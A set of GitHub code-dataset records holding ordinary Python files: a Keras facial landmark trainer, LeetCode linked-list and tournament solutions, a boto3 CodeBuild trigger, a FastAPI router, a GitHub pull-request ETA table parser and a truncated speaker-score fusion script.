output_size=OUTPUT_SIZE):\n # Stage 1 #\n img_input = Input(shape=input_shape)\n \n ## Block 1 ##\n x = Conv2D(32, (3,3), strides=(1,1), name='S1_conv1')(img_input)\n x = BatchNormalization()(x)\n x = Activation('relu', name='S1_relu_conv1')(x)\n x = MaxPooling2D(pool_size=(2,2), strides=(2,2), name='S1_pool1')(x)\n\n ## Block 2 ##\n x = Conv2D(64, (3,3), strides=(1,1), name='S1_conv2')(x)\n x = BatchNormalization()(x)\n x = Activation('relu', name='S1_relu_conv2')(x)\n x = Conv2D(64, (3,3), strides=(1,1), name='S1_conv3')(x)\n x = BatchNormalization()(x)\n x = Activation('relu', name='S1_relu_conv3')(x)\n x = MaxPooling2D(pool_size=(2,2), strides=(2,2), name='S1_pool2')(x)\n\n ## Block 3 ##\n x = Conv2D(64, (3,3), strides=(1,1), name='S1_conv4')(x)\n x = BatchNormalization()(x)\n x = Activation('relu', name='S1_relu_conv4')(x)\n x = Conv2D(64, (3,3), strides=(1,1), name='S1_conv5')(x)\n x = BatchNormalization()(x)\n x = Activation('relu', name='S1_relu_conv5')(x)\n x = MaxPooling2D(pool_size=(2,2), strides=(2,2), name='S1_pool3')(x)\n \n ## Block 4 ##\n x = Conv2D(256, (3,3), strides=(1,1), name='S1_conv8')(x)\n x = BatchNormalization()(x)\n x = Activation('relu', name='S1_relu_conv8')(x)\n x = Dropout(0.2)(x)\n \n ## Block 5 ##\n x = Flatten(name='S1_flatten')(x)\n x = Dense(2048, activation='relu', name='S1_fc1')(x)\n x = Dense(output_size, activation=None, name='S1_predictions')(x)\n model = Model([img_input], x, name='facial_landmark_model')\n \n return model\n\ndef main():\n# Define X and y\n# # Load data\n PATH = \"./data/64_64_1/offset_1.3/\"\n X = np.load(PATH + \"basic_dataset_img.npz\")\n y = np.load(PATH + \"basic_dataset_pts.npz\")\n X = X['arr_0']\n y = y['arr_0'].reshape(-1, 136)\n \n\n print(\"Define X and Y\")\n print(\"=======================================\")\n \n # Split train / test dataset\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n print(\"Success of getting train / test dataset\")\n print(\"=======================================\")\n print(\"X_train: \", X_train.shape)\n print(\"y_train: \", y_train.shape)\n print(\"X_test: \", X_test.shape)\n print(\"y_test: \", y_test.shape)\n print(\"=======================================\")\n\n model.compile(loss=smoothL1, optimizer=keras.optimizers.Adam(lr=1e-3), metrics=['mape'])\n print(model.summary())\n # checkpoint\n filepath=\"./basic_checkpoints/smooth_L1-{epoch:02d}-{val_mean_absolute_percentage_error:.5f}.hdf5\"\n checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n callbacks_list = [checkpoint]\n history = model.fit(X_train, y_train, batch_size=64, epochs=10000, shuffle=True,\\\n verbose=1, validation_data=(X_test, y_test), callbacks=callbacks_list)\n\n # Save model\n model.save(\"./model/face_landmark_dnn.h5\")\n print(\"=======================================\")\n print(\"Save Final Model\")\n print(\"=======================================\")\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"junhwanjang/face_landmark_dnn","sub_path":"modeling/train_basic_models.py","file_name":"train_basic_models.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"35"} +{"seq_id":"27345176936","text":"# Leetcode\n# https://leetcode.com/problems/count-of-matches-in-tournament/\n\n\nclass Solution:\n def numberOfMatches(self, n: int) -> int:\n total = 0\n while n > 1:\n temp = n // 2\n if n > 1 and n % 2 == 1:\n temp += 1\n total += n - temp\n n = temp\n return total\n","repo_name":"sharadbhat/Competitive-Coding","sub_path":"LeetCode/Count_Of_Matches_In_Tournament.py","file_name":"Count_Of_Matches_In_Tournament.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"11848525442","text":"import boto3\nimport time\nfrom time import strftime\nfrom datetime import datetime \nfrom time import gmtime\n\nclass AWSAutomation:\n\n\tdef invoke_build(self,buildProjectName):\n\n\t\tclient = boto3.client(service_name='codebuild', region_name='us-east-1')\n\t\tnew_build = client.start_build(projectName=buildProjectName)\n\t\tbuildId = new_build['build']['id']\n\n\t\t# NOTE - there is no waiter for code build, so for now we need to have our own loop\n\t\tcounter = 0\n\t\twhile counter < 6: #capped this, so it just fails if it takes too long\n\t\t\ttime.sleep(60)\n\t\t\tcounter = counter + 1\n\t\t\ttheBuild = client.batch_get_builds(ids=[buildId])\n\t\t\tbuildStatus = theBuild['builds'][0]['buildStatus']\n\t\t\t\n\t\t\tif buildStatus == 'SUCCEEDED':\n\t\t\t\tbreak\n\t\t\telif buildStatus == 'FAILED' or buildStatus == 'FAULT' or buildStatus == 'STOPPED' or buildStatus == 'TIMED_OUT':\n\t\t\t\tbreak\n\t\t\n\t\treturn buildStatus\n\ndef start_time_(): \n\tstart_time = time.time()\n\treturn(start_time)\n\ndef end_time_():\n\tend_time = time.time()\n\treturn(end_time)\n \ndef execution_time(start_time,end_time):\n\treturn(strftime(\"%H:%M:%S\",gmtime(int('{:.0f}'.format(float(str((end_time-start_time))))))))\n\ndef main():\n\n\tstart_time = start_time_()\n\n\tauto = AWSAutomation()\n\t# NOTE - update value to pass the existing build name here.\n\tresponse = auto.invoke_build(\"BuildName\")\n\t\n\tend_time = end_time_()\n\tprint(\"Response:\"+response + '| Time Taken:'+execution_time(start_time,end_time) )\n\n\t\nif __name__ == '__main__':\n\tmain()\n","repo_name":"msurender/aws-automation-boto3-examples","sub_path":"CodeBuildExample.py","file_name":"CodeBuildExample.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6783244647","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def reverseBetween(self, head, start, stop):\n nodeBeforeReverse = None\n nodeAfterReverse = None\n reversedSectionHead = None\n reversedSectionEnd = None\n index = 1\n nodeBeforeReverseIndex = start - 1\n nodeAfterReverseIndex = stop + 1\n current = head\n reversedCurrent = None\n reversedPrevious = None\n while current is not None and index <= nodeAfterReverseIndex:\n if index >= nodeBeforeReverseIndex and index <= nodeAfterReverseIndex:\n if index == nodeBeforeReverseIndex:\n nodeBeforeReverse = current\n elif index == nodeAfterReverseIndex:\n nodeAfterReverse = current\n else:\n reversedCurrent = ListNode(current.val)\n if reversedPrevious:\n reversedCurrent.next = reversedPrevious\n if index == start:\n reversedSectionEnd = reversedCurrent\n if index == stop:\n reversedSectionHead = reversedCurrent\n reversedPrevious = reversedCurrent\n current = current.next\n index += 1\n if nodeBeforeReverse:\n nodeBeforeReverse.next = reversedSectionHead\n reversedSectionEnd.next = nodeAfterReverse\n return (reversedSectionHead, head)[nodeBeforeReverse is not None]\n","repo_name":"pedroOlivarez/NowPow-Codeing-Crazy","sub_path":"Challenges/Python/ReverseLinkedListII.py","file_name":"ReverseLinkedListII.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5444146505","text":"from fastapi import APIRouter, HTTPException, Depends\nfrom sqlalchemy.orm import Session\n\nfrom .utils import get_db\nfrom src.crud.faction import get_faction_by_name, create_faction, get_faction\nfrom .. import schemas\n\nrouter = APIRouter(\n prefix=\"/factions\"\n)\n\n\n@router.post(\"/\")\ndef post_faction(faction: schemas.FactionCreate, db: Session = Depends(get_db)):\n db_faction = get_faction_by_name(db, faction=faction.faction)\n if db_faction:\n raise HTTPException(status_code=400, detail=\"Email already registered\")\n return create_faction(db=db, faction=faction)\n\n\n@router.get(\"/{faction_id}\", response_model=schemas.Faction)\ndef read_faction(faction_id: int, db: Session = Depends(get_db)):\n db_faction = get_faction(db, faction_id=faction_id)\n if db_faction is None:\n raise HTTPException(status_code=404, detail=\"Faction not found\")\n return db_faction\n","repo_name":"macdhollister/spaceGame","sub_path":"src/routes/factions.py","file_name":"factions.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"78688652","text":"\"\"\"\nhttps://pygithub.readthedocs.io/en/latest/examples.html\n\n| Phases | JH | JP | TM | JM | Total |\n|-----------------|----:|----:|-----:|-----:|-------:|\n| ETA | 2 | 0.5 | 0 | 0 | 0 |\n| Developing | 2+ | 0 | 0 | 0 | 0 |\n| Review | 0 | 0 | 0 | 0 | 0 |\n| Total | - | - | - | - | 0 |\n| ETA est. | | | | | 32 |\n| ETA cust. | - | - | - | - | 24 |\n\"\"\"\nimport os\nimport sys\nimport logging\nimport argparse\nimport re\nimport glob\nimport json\nfrom pprint import pformat\nfrom collections import defaultdict\nfrom github import Github\n\nfrom datetime import datetime\n\n_ts = datetime.now().strftime(\"%Y_%m_%d__%H.%M.%S\")\n_logger = logging.getLogger()\nlogging.basicConfig(format='%(asctime)s %(levelname).4s: %(message)s', level=logging.INFO)\n_this_dir = os.path.dirname(os.path.abspath(__file__))\n\n# read .env\nenv_file = os.path.join(_this_dir, \".env\")\nif os.path.exists(env_file):\n with open(env_file, mode=\"r\") as fin:\n lines = [x.strip().split(\"=\", maxsplit=1)\n for x in fin.readlines() if 3 < len(x.strip())]\n for k, v in lines:\n if k in os.environ:\n continue\n os.environ[k] = v\n\n# =================\n\n\ndef load_settings(file_str: str):\n if not os.path.exists(file_str):\n base_f = os.path.basename(file_str)\n for f in glob.glob(\"./___*.json\"):\n if base_f in os.path.basename(f):\n file_str = f\n break\n\n with open(file_str, \"r\") as fin:\n cfg = json.load(fin)\n cfg[\"start_time\"] = datetime.strptime(cfg[\"start_time\"], r\"%Y-%m-%d\")\n # abs paths\n for k, v in settings.items():\n if isinstance(v, str) and v.startswith(\"./\"):\n settings[k] = os.path.join(_this_dir, v[2:])\n\n return cfg\n\n\nsettings = {}\n\n\n# =================\n\n\nclass ETA:\n stages = (\"ETA\", \"Developing\", \"Review\")\n key_phase = \"phases\"\n key_eta = \"eta\"\n key_eta_cust = \"ETA cust\"\n key_total = \"Total\"\n\n\n# =================\n\ndef log_err(msg, pr, pr_id):\n tmpl = \"\\n\" + (\"<\" * 10) + \"\\n%s [%s]\\n\\t->%s\\n\" + (\">\" * 10)\n _logger.info(tmpl, msg, pr_id, pr.html_url)\n\n\ndef sum_hours(s, pr_id):\n \"\"\"\n Try to sum the cell.\n \"\"\"\n try:\n return float(eval(s))\n except:\n _logger.info(\"Cannot parse [%s] in [%s]\", s, pr_id)\n return -1.\n\n\ndef get_pr_id(repo_name, pr):\n return \"%s:%s:%s\" % (repo_name, pr.number, pr.title)\n\n\nclass eta_row:\n \"\"\"\n Row of an ETA\n \"\"\"\n\n def __init__(self, arr, pr_id):\n self.arr = arr\n self.pr_id = pr_id\n\n @property\n def name(self): return self.arr[1]\n\n @property\n def total(self): return self.arr[-2]\n\n @property\n def dev_hours(self): return [sum_hours(x, self.pr_id) for x in self.arr[2:-2]]\n\n @property\n def dev_names(self): return self.arr[2:-2]\n\n\nclass eta_table:\n\n label_prefix = \"ETA_err_\"\n\n def __init__(self, pr, pr_id, cols):\n self.pr = pr\n self.pr_id = pr_id\n self.rows = [eta_row(x, pr_id) for x in cols]\n self._valid = self._validate_keys()\n if not self._valid:\n return\n self._d = self._parse()\n self._valid = self._d is not None\n\n @property\n def d(self):\n return self._d\n\n @property\n def valid(self):\n return self._valid\n\n @property\n def total_reported(self):\n return self._d[\"total_reported\"]\n\n @property\n def cust_est(self):\n return self._d[\"customer_estimate\"]\n\n @property\n def dev_hours(self):\n return self._d[\"dev_hours\"]\n\n @property\n def stage_totals(self):\n return self._d[\"stage_totals\"]\n\n def _parse(self):\n d = {}\n try:\n d[\"customer_estimate\"] = float(self.rows[-1].total)\n except:\n return None\n try:\n d[\"total_reported\"] = float(self.rows[-3].total)\n except:\n return None\n\n dev_hours = {k: {} for k in self.rows[0].dev_names}\n stage_totals = {}\n for stage in ETA.stages:\n found = False\n for row in self.rows:\n if row.name.lower() != stage.lower():\n continue\n for i, h in enumerate(row.dev_hours):\n dev_hours[self.rows[0].dev_names[i]][stage] = h\n stage_totals[stage] = float(row.total)\n found = True\n break\n if not found:\n _logger.critical(\"Did not find stage [%s] in [%s]\", stage, self.pr_id)\n return None\n\n for k, v in dev_hours.items():\n for stage, hours in v.items():\n if hours == -1:\n _logger.debug(\"-1 in hours [%s] [%s] [%s]\", k, stage, self.pr_id)\n\n d[\"dev_hours\"] = dev_hours\n d[\"stage_totals\"] = stage_totals\n return d\n\n def _validate_keys(self):\n ver_1 = self.rows[0].name.lower() == ETA.key_phase\n ver_2 = ETA.key_eta in self.rows[-1].name.lower()\n ver_3 = True\n try:\n float(self.rows[2].total)\n except:\n ver_3 = False\n if not ver_1 or not ver_2 or not ver_3:\n _logger.critical(\n \"Cannot parse, verification failed [%s]\\n\\t->[%s]\", self.pr_id, self.pr.html_url)\n return False\n\n def has_name(row, name):\n return name in row.name.lower()\n\n # verification #2\n if has_name(self.rows[-1], ETA.key_eta_cust):\n _logger.critical(\"Cannot find ETA cust [%s]\", self.pr_id)\n return False\n\n if has_name(self.rows[-3], ETA.key_total):\n _logger.critical(\"Cannot find Total [%s]\", self.pr_id)\n return False\n\n return True\n\n def validate_hours(self, pr=None):\n errors = []\n valid = True\n\n def _add_error(s: str): errors.append(\"%s%s\" % (eta_table.label_prefix, s))\n\n if self.total_reported == 0:\n _logger.critical(\"Total reported is 0!\")\n _add_error(\"total_is_0\")\n valid = False\n # if self.cust_est == 0:\n # _logger.critical(\"Customer ETA is 0!\")\n # _add_error(\"cust_is_0\")\n # valid = False\n\n calc_stage_totals = defaultdict(int)\n for stage in ETA.stages:\n for dev, hours in self.dev_hours.items():\n calc_stage_totals[stage] += hours[stage]\n stage_totals = self.stage_totals\n\n html_url = pr.html_url if pr is not None else \"\"\n\n for stage in ETA.stages:\n if stage_totals[stage] != calc_stage_totals[stage]:\n _logger.critical(\"Incorrect stage [%s] totals [%s] [%s] in [%s]\\n\\t->[%s]\",\n stage, stage_totals[stage], calc_stage_totals[stage], self.pr_id, html_url)\n valid = False\n _add_error(\"stage_%s\" % stage)\n\n calc_total_reported = sum(stage_totals.values())\n if calc_total_reported != self.total_reported:\n _logger.critical(\"Incorrect totals [%s] [%s] in [%s]\\n\\t->[%s]\",\n calc_total_reported, self.total_reported, self.pr_id, html_url)\n valid = False\n _add_error(\"totals\")\n\n return valid, errors\n\n\ndef parse_eta_lines(pr):\n rec_start = re.compile(\"phases.*total\", re.I)\n rec_line = re.compile(\"[|].*[|]\", re.I)\n l_arr = []\n state = 0\n for l in pr.body.splitlines():\n if state == 0:\n if rec_start.search(l):\n state = 1\n if state != 1:\n continue\n if rec_line.search(l) is None:\n break\n l_arr.append(l)\n return l_arr\n\n\ndef parse_eta(pr, pr_id):\n \"\"\"\n| Phases | JH | JP | TM | JM | Total |\n|-----------------|----:|----:|-----:|-----:|-------:|\n| ETA | 0 | | 3 | 0 | 3 |\n| Developing | 5+4,5+8+8+5+8+5 | 0,5 + 1 | 0 | 0 | 45 |\n| Review | 4+4 | 2.5 + 0.5 + 1 + 1 | 0 | 0 | 13 |\n| Total | - | - | - | - | 61 |\n| ETA est. | | | | | 40 |\n| ETA cust. | - | - | - | - | 40 |\n \"\"\"\n l_arr = parse_eta_lines(pr)\n # parse\n cols = [[x.strip() for x in x.split(\"|\")] for x in l_arr]\n eta = eta_table(pr, pr_id, cols)\n\n # verification #1\n if not eta.valid:\n return None\n\n return eta\n\n\ndef pr_with_eta(gh, start_at, state=None, base=None):\n \"\"\"\n\n\n :param gh:\n :param start_at:\n :param state: \"all\", \"closed\"\n :return:\n \"\"\"\n\n rec_pr_time = re.compile(r\"[|]\\s*ETA\")\n\n for p, ignored_pr in settings[\"projects\"]:\n repo = gh.get_repo(p)\n _logger.info(repo.name)\n pulls = repo.get_pulls(state=state or 'all', sort='created',\n direction=\"desc\", base=base or settings[\"base\"])\n _logger.info(\"Total PR count: [%d]\", pulls.totalCount)\n for pr in pulls:\n if pr.number in ignored_pr:\n continue\n\n if pr.created_at < start_at:\n break\n if rec_pr_time.search(pr.body or \"\") is None:\n continue\n yield repo.name, pr\n\n\ndef find_cust_est(gh, issue_arr, state=None):\n issue_arr = sorted(issue_arr)\n issue_d = {k: None for k in issue_arr}\n\n _logger.info(\"Looking for %s\", issue_arr)\n for repo_name, pr in pr_with_eta(gh, settings[\"start_time\"], state=state):\n pr_id = get_pr_id(repo_name, pr)\n\n for i, issue in enumerate(issue_arr):\n if issue not in pr.title:\n continue\n eta = parse_eta(pr, pr_id)\n if eta is None:\n log_err(\"Cannot parse\", pr, pr_id)\n continue\n if eta.total_reported == 0 or eta.cust_est == 0:\n log_err(\"Empty times\", pr, pr_id)\n continue\n\n if issue_d[issue] is not None:\n _logger.warning(\"Found >1 issues with billable times for [%s]\", pr_id)\n\n issue_d[issue] = (eta, pr, pr_id)\n\n totals = {\n \"cust_est\": 0,\n \"total_reported\": 0,\n }\n\n for k, v in issue_d.items():\n if v is None:\n _logger.info(\"Cannot find time for [%s]\", k)\n continue\n eta, _1, _2 = v\n totals[\"cust_est\"] += eta.cust_est\n totals[\"total_reported\"] += eta.total_reported\n\n issue_d = {k: v for k, v in issue_d.items() if v is not None}\n\n _logger.info(20 * \"=\")\n _logger.info(\"Looked for [%d] issues, found [%d] issues\",\n len(issue_arr), len(issue_d))\n\n _logger.info(20 * \"=\")\n\n abbrev = {\n \"c-image-to-text\": \"i2t\"\n }\n\n s = \"\"\n for k, v in sorted(issue_d.items(), key=lambda x: x[1][2]):\n if v is None:\n continue\n eta, pr, pr_id = v\n proj, proj_s = pr_id.split(\":\", maxsplit=1)\n pr_id_s = \"%s:%s\" % (abbrev.get(proj, proj), proj_s)\n\n s += \"%-40s: [ETA:%4.1f][REPORTED:%4.1f]->[%s]\\n\" % (\n pr_id_s[:40], eta.cust_est, eta.total_reported, pr.html_url\n )\n\n _logger.info(\"\\n\\n\" + s)\n _logger.info(20 * \"=\")\n _logger.info(\"Found [cust_est: %4.1f] [total_reported: %4.1f]\",\n totals[\"cust_est\"], totals[\"total_reported\"])\n\n\ndef find_eta_sum(gh, issue_arr):\n issue_arr = sorted(issue_arr)\n\n found_etas = []\n _logger.info(\"Looking for %s\", issue_arr)\n for repo_name, pr in pr_with_eta(gh, settings[\"start_time\"]):\n pr_id = get_pr_id(repo_name, pr)\n\n for i, issue in enumerate(issue_arr):\n if issue not in pr.title:\n continue\n eta = parse_eta(pr, pr_id)\n if eta is None:\n continue\n\n stages = {k: [] for k in ETA.stages}\n for stage in stages.keys():\n for dev, hours in eta.dev_hours.items():\n stages[stage].append(hours[stage])\n\n stages_sum = {k: sum(v) for k, v in stages.items()}\n _logger.info(\"%s\\n\\t->%s\", pr_id, pformat(stages_sum))\n found_etas.append(issue)\n\n missing = set(issue_arr) - set(found_etas)\n if 0 < len(missing):\n _logger.critical(\"Did not find ETAs for issues [%s]\", missing)\n\n\ndef find_hours(gh, input_arr, input_are_ids):\n input_arr = sorted(input_arr)\n\n if input_are_ids:\n input_arr = [float(x) for x in input_arr]\n\n devs = defaultdict(dict)\n _logger.info(\"Looking for %s\", input_arr)\n for repo_name, pr in pr_with_eta(gh, settings[\"start_time\"]):\n pr_id = get_pr_id(repo_name, pr)\n\n if input_are_ids is False:\n for i, issue in enumerate(input_arr):\n if issue not in pr.title:\n continue\n eta = parse_eta(pr, pr_id)\n if eta is None:\n continue\n for dev, hours in eta.dev_hours.items():\n devs[dev][issue] = hours\n else:\n if pr.number in input_arr:\n eta = parse_eta(pr, pr_id)\n if eta is None:\n continue\n for dev, hours in eta.dev_hours.items():\n devs[dev][pr.number] = hours\n\n _logger.info(pformat(devs))\n if 0 == len(devs):\n return\n\n got_issues = set(devs[list(devs.keys())[0]].keys())\n missing = set(input_arr) - got_issues\n if 0 < len(missing):\n _logger.critical(\"Did not find hours for issues [%s]\", missing)\n\n\ndef validate(gh, state=\"closed\", sort_by=None):\n ok_status = []\n\n for repo_name, pr in pr_with_eta(gh, settings[\"start_time\"], state=state):\n pr_id = get_pr_id(repo_name, pr)\n eta = parse_eta(pr, pr_id)\n if eta is None:\n continue\n\n err, _1 = eta.validate_hours(pr=pr)\n if not err:\n msg = \"Issue [%-70s] is OK\" % (eta.pr_id,)\n ok_status.append((msg, pr))\n\n if 0 == len(ok_status):\n return\n\n # sort\n sort_by = sort_by or 'closed_at'\n ok_status.sort(key=lambda x: getattr(x[1], sort_by), reverse=True)\n last_week_n = -1\n for msg, pr in ok_status:\n this_week_n = getattr(pr, sort_by).isocalendar()[1]\n if last_week_n != this_week_n:\n _logger.info((\"Week #%02d \" + 20 * \"=\"), this_week_n)\n last_week_n = this_week_n\n\n msg += \" [%s:%%s]\\t%s\" % (sort_by, pr.html_url)\n _logger.info(msg, getattr(pr, sort_by))\n\n\ndef store(gh, out_file):\n d = {\n \"state\": {\n },\n \"timestamp\": _ts\n }\n for repo_name, pr in pr_with_eta(gh, settings[\"start_time\"], state=\"all\"):\n pr_id = get_pr_id(repo_name, pr)\n eta_lines = parse_eta_lines(pr)\n if 0 == len(eta_lines):\n _logger.critical(\"No ETA for [%s]\", pr_id)\n continue\n\n if repo_name not in d[\"state\"]:\n d[\"state\"][repo_name] = {}\n\n d[\"state\"][repo_name][pr_id] = {\n \"updated\": str(pr.updated_at),\n \"state\": pr.state,\n \"eta\": eta_lines,\n }\n\n _logger.info(\"Saving to [%s]\", out_file)\n with open(out_file, mode=\"w+\") as fout:\n json.dump(d, fout, sort_keys=True, indent=2)\n\n\n# =================\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Github Helper Tools')\n parser.add_argument(\n '--eta-cust', help='Print customer ETA for these issues', type=str, required=False)\n parser.add_argument(\n '--hours', help='Print hours for these issues', type=str, required=False)\n parser.add_argument(\n '--list', help='List all issues with ETA', action=\"store_true\", required=False)\n parser.add_argument(\n '--store', help='Serialize current state', action=\"store_true\", required=False)\n parser.add_argument(\n '--validate', help='Validate closed ETA issues', action=\"store_true\", required=False)\n parser.add_argument(\n '--eta-sum', help='Print ETA sum for these issues', type=str, required=False)\n parser.add_argument(\n '--state', help='Filter issues based on the state (open, closed, all)', type=str, default=None, required=False)\n parser.add_argument(\n '--sort', help='Sort by (closed_ar, merged_at) date', type=str, default=None, required=False)\n parser.add_argument(\n '--input-pr-id', help='Input are pr ids not description', action=\"store_true\", required=False)\n parser.add_argument(\n '--settings', help='Input settings json file', required=False, default=\"settings.json\")\n flags = parser.parse_args()\n\n _logger.info('Started at [%s]', datetime.now())\n\n gh_key = \"GITHUB_PAT\"\n if gh_key not in os.environ:\n _logger.critical(\"Cannot find [%s]\", )\n\n # load settings\n settings_file = os.path.join(_this_dir, flags.settings)\n _logger.info(\"Using [%s] settings file\", settings_file)\n settings = load_settings(settings_file)\n\n gh = Github(os.environ[gh_key])\n\n if flags.store:\n if not os.path.exists(settings[\"state_dir\"]):\n os.makedirs(settings[\"state_dir\"])\n out_f = os.path.join(settings[\"state_dir\"], \"%s.json\" % _ts)\n store(gh, out_f)\n sys.exit(0)\n\n if flags.validate:\n validate(gh, state=flags.state, sort_by=flags.sort)\n sys.exit(0)\n\n if flags.eta_cust is not None:\n find_cust_est(gh, flags.eta_cust.split(\",\"), flags.state)\n sys.exit(0)\n\n if flags.hours is not None:\n find_hours(gh, flags.hours.split(\",\"), flags.input_pr_id)\n sys.exit(0)\n\n if flags.eta_sum is not None:\n find_eta_sum(gh, flags.eta_sum.split(\",\"))\n sys.exit(0)\n\n if flags.list:\n last_repo_name = None\n last_week_n = -1\n for repo_name, pr in pr_with_eta(gh, settings[\"start_time\"]):\n # reset\n if repo_name != repo_name:\n repo_name = repo_name\n last_week_n = -1\n\n this_week_n = pr.created_at.isocalendar()[1]\n if last_week_n != this_week_n:\n _logger.info((\"\\n\\nWeek #%02d \" + 40 * \"=\"), this_week_n)\n last_week_n = this_week_n\n\n assignee = pr.assignee.login if pr.assignee else \"unknown\"\n merged_by = pr.merged_by.login if pr.merged_by else \"unknown\"\n _logger.info(\n \"[created:%20s -> closed:%20s] assigned to [%10s] state [%8s] merged [%5s] merged by [%10s]\\n\\t%s\\n\\t%s\",\n pr.created_at, pr.closed_at, assignee, pr.state, pr.merged, merged_by,\n str(pr),\n pr.html_url\n )\n","repo_name":"mazoea/ga-ETA","sub_path":"prtime.py","file_name":"prtime.py","file_ext":"py","file_size_in_byte":18756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23842441893","text":"# https://leetcode.com/problems/middle-of-the-linked-list/\r\n\r\n# Given the head of a singly linked list, return the middle node of the linked list.\r\n# If there are two middle nodes, return the second middle node.\r\n\r\n# create two pointers fast & slow.\r\n# move slow by 1 step and fast by 2 step\r\n# in the end , slow pointer will in middle of the linked list when fast will be in end of linked list\r\n\r\n# time complxity : O(n/2) , space Complexity O(1)\r\n\r\nimport LC_LL_Singly_LL_Basics_Operations as LL\r\n\r\ndef middleNode(LnkLst,head) :\r\n\r\n slow = head\r\n fast = head\r\n\r\n if head is None:\r\n return\r\n\r\n while fast is not None and fast.next is not None :\r\n\r\n slow = slow.next\r\n fast = fast.next.next\r\n\r\n return slow\r\n\r\n\r\n\r\ndef main() :\r\n\r\n LnkLst = LL.LinkedList()\r\n LnkLst.InsertElementAtBegining(5)\r\n LnkLst.InsertElementAtBegining(2)\r\n LnkLst.InsertElementAtEnd(8)\r\n LnkLst.InsertElementAtEnd(9)\r\n LnkLst.InsertElementAtEnd(10)\r\n LnkLst.InsertElementAtEnd(12)\r\n LnkLst.print_linked_list(LnkLst.head)\r\n\r\n\r\n middle_element = middleNode(LnkLst,LnkLst.head)\r\n print(\"middle node of Linked list is \" , LnkLst.print_linked_list(middle_element))\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"shyamsingh2706/Python_HandsOn","sub_path":"Data_Structure/LeetCode/Linked_list/LC_LL_Find_Middle_Element.py","file_name":"LC_LL_Find_Middle_Element.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20303157749","text":"import numpy as np\n# import tools.scoring_software.sre18_submission_scorer as scorer\nimport tools.scoring_software.scoring_utils as st\nimport tools.score_prep as prep\n\ndef score_me(system_output_file, trial_key_file,\n configuration, partitions, sub_partition):\n trial_key = st.read_tsv_file(trial_key_file)\n sys_out = st.read_tsv_file(system_output_file)\n scores = sys_out['LLR']\n tar_nontar_labs = st.compute_numeric_labels(trial_key)\n results = {}\n for ds, p_target in configuration.items():\n dataset_mask = trial_key['data_source'] == ds\n ds_trial_key = trial_key[dataset_mask]\n ds_scores = scores[dataset_mask]\n ds_trial_labs = tar_nontar_labs[dataset_mask]\n if ds == 'cmn2':\n partition_masks = st.compute_partition_masks(ds_trial_key,\n partitions,\n sub_partition)\n else:\n partition_masks = [dataset_mask[dataset_mask]]\n act_c = st.compute_equalized_act_cost(ds_scores, partition_masks,\n ds_trial_labs, p_target)\n eer, min_c = st.compute_equalized_min_cost(ds_scores,\n partition_masks,\n ds_trial_labs, p_target)\n results[ds] = [eer, min_c, act_c]\n return results\n\n\npath = \"/Users/navealgarici/Documents/GitHub/SRE18/temp/nist18_split_test/scores/plda_old/ztnorm/scores-dev\"\ntarget_path = \"/Users/navealgarici/Documents/GitHub/SRE18/temp/nist18_split_test/scores/plda_old/ztnorm/scores-dev-fused\"\nlines = open(path).readlines()\n# trials = [l.split(\"_sre18\")[0].split('/')[-1] for l in lines]\n# trial_names = list(set(trials))\n# trial_names.sort()\n# sorted_trials = dict()\n# for g in trial_names:\n# sorted_trials[g] = []\nnum_trials = int(len(lines) / 7)\ntrial_scores = [[] for i in range(num_trials)]\nfor i, l in enumerate(lines):\n trial_scores[int(i / 7)].append(float(l.split(\" \")[-1].split('\\n')[0]))\n\n# trial_scores = [np.array(t) for t in trial_scores]\ntrial_scores = np.array(trial_scores)\n# groups = [l.split(\"_sre18\")[1].split(' ')[0].split('_')[-1] for l in lines]\n# group_names = list(set(groups))\n# group_names.sort()\n# sorted_groups = dict()\n# for g in group_names:\n# sorted_groups[g] = []\n# for l, g in zip(lines, groups):\n# sorted_groups[g].append(float(l.split(\" \")[-1].split('\\n')[0]))\n\n# weights = np.array([1/7] * 7)\n# weights = np.array([4,2,2,1,1,1,1]) / 12\n# weights = np.array([1, 0,0,0,0,0,0])\n\nnum_exp = 100\nweights_for_weigts = np.array([30,2,2,1,1,1,1]) / 12\nweights_list = np.random.uniform(size=[num_exp, 7])\nweights_list = weights_list * weights_for_weigts\nweights_list = weights_list / np.expand_dims(np.sum(weights_list, 1), 1)\n# weights_list = [np.array([1,0,0,0,0,0,0]),\n# np.array([0,1,0,0,0,0,0]),\n# np.array([0,0,1,0,0,0,0]),\n# np.array([0,0,0,1,0,0,0]),\n# np.array([0,0,0,0,1,0,0]),\n# np.array([0,0,0,0,0,1,0]),\n# np.array([0,0,0,0,0,0,1]),\n# ]\n\nmin_eer = 1000\nmin_actc = 1000\nfor weights in weights_list:\n test_scores = np.sum(trial_scores * weights, 1)\n test_lines = []\n for i in range(num_trials):\n split_line = lines[i * 7].split(\" \")\n split_line[-1] = str(test_scores[i]) + \"\\n\"\n split_line[-2] = \"_\".join(split_line[-2].split(\"_\")[:-1])\n l = \" \".join(split_line)\n test_lines.append(l)\n\n target = open(target_path, 'w')\n target.writelines(test_lines)\n target.close()\n prep.convert_scores(target_path, \"/Users/navealgarici/Documents/GitHub/SRE18/tools/scoring_software/system_output/sre18_dev_system_output.tsv\")\n\n configuration = 